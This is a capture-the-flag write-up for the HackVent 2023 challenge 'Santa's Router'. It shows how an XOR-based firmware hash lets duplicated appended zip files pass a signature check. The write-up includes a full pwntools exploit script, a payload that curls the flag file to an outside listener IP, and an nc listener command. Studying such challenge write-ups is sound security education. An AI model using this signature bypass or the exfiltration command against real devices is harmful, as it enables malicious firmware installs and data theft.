HackVent 2023 - [HV23.13] Santa's Router

Posted on Jan 1, 2024

Difficulty: Medium

Category: Cryptography

Author: fabi_07

Santa came across a weird service that provides something with signatures of a firmware. He isn’t really comfortable with all that crypto stuff, can you help him with this?

The security issue lies in the hashFile function:

def hashFile(fileContent: bytes) -> int:
    hash = 0
    for i in range(0, len(fileContent), 8):
        h = []
        for j in range(8):
            if i + j < len(fileContent):
                h.append(fileContent[i + j] << 8 * j)
        hash ^= sum(h)
    return hash

As XOR is used to add every byte to the hash, this means we get 0 again when we have the same byte twice. As tht zipfile module just ignores leading data and tries to use the last zip signature we can create a payload of <original zip> <evil zip> <evil zip>.

That didn’t directly work as the zip files had a length in bytes that wasn’t divisible by 8. So when two zip files were appended, the hash didn’t result in 0 anymore. That’s why I wrote a custom function to do the padding for me.

#!/usr/bin/python3

from chall import hashFile
import zipfile
import base64
import binascii
from pwn import *

content = 'curl http:/10.13.0.22:4444  -d @flag # abcdefg' # <- required padding
filename = "start.sh"

# create zipfile
open(filename, "w+").write(content)
zipfile.ZipFile("solution.zip", "w").write(filename)


def hashFileFix(fileContent: bytes) -> int:
    hash = []
    for i in range(0, len(fileContent), 8):
        h = []
        for j in range(8):
            if i + j < len(fileContent):
                h.append(hex(fileContent[i + j])[2:])
                print(hex(fileContent[i + j])[2:].ljust(2, "0"), end=" ")
        hash.append(binascii.unhexlify("".join([x.rjust(2, "0") for x in h]).rjust(16 ,"0")))
        print()
    return b"".join(hash)

# get b64 of real fw
real_data = open("firmware.zip", "rb").read()

# Sanity check
solution_data = open("solution.zip", "rb").read()
solution_data_patched = hashFileFix(solution_data)

s = remote("152.96.15.6", 1337)
s.recvuntil(b"$ ")
s.sendline(b"version")
s.recvline()
sig = s.recvline().split(b": ")[1].strip()
s.recvuntil(b"$ ")
s.sendline("update")
s.sendline(base64.b64encode(real_data + solution_data_patched + solution_data))
s.sendline(sig)
s.sendline("exit")
print(s.recvall())

After starting a nc listener using nc -lvp 4444, we get the flag as a POST request:

HV23{wait_x0r_is_not_a_secure_hash_function}